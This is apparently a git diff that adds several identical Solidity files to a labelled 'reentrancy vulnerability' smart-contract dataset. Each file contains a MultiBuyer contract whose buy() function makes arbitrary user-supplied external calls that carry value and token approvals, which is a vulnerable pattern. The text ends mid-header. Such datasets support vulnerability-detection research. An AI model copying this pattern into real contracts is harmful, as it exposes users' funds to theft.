0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/520.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/523.sol b/smart_contract_dataset/reentrancy vulnerability/523.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/523.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/60.sol b/smart_contract_dataset/reentrancy vulnerability/60.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/60.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/601.sol b/smart_contract_dataset/reentrancy vulnerability/601.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/601.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/609.sol b/smart_contract_dataset/reentrancy vulnerability/609.sol new file mode 100644 index 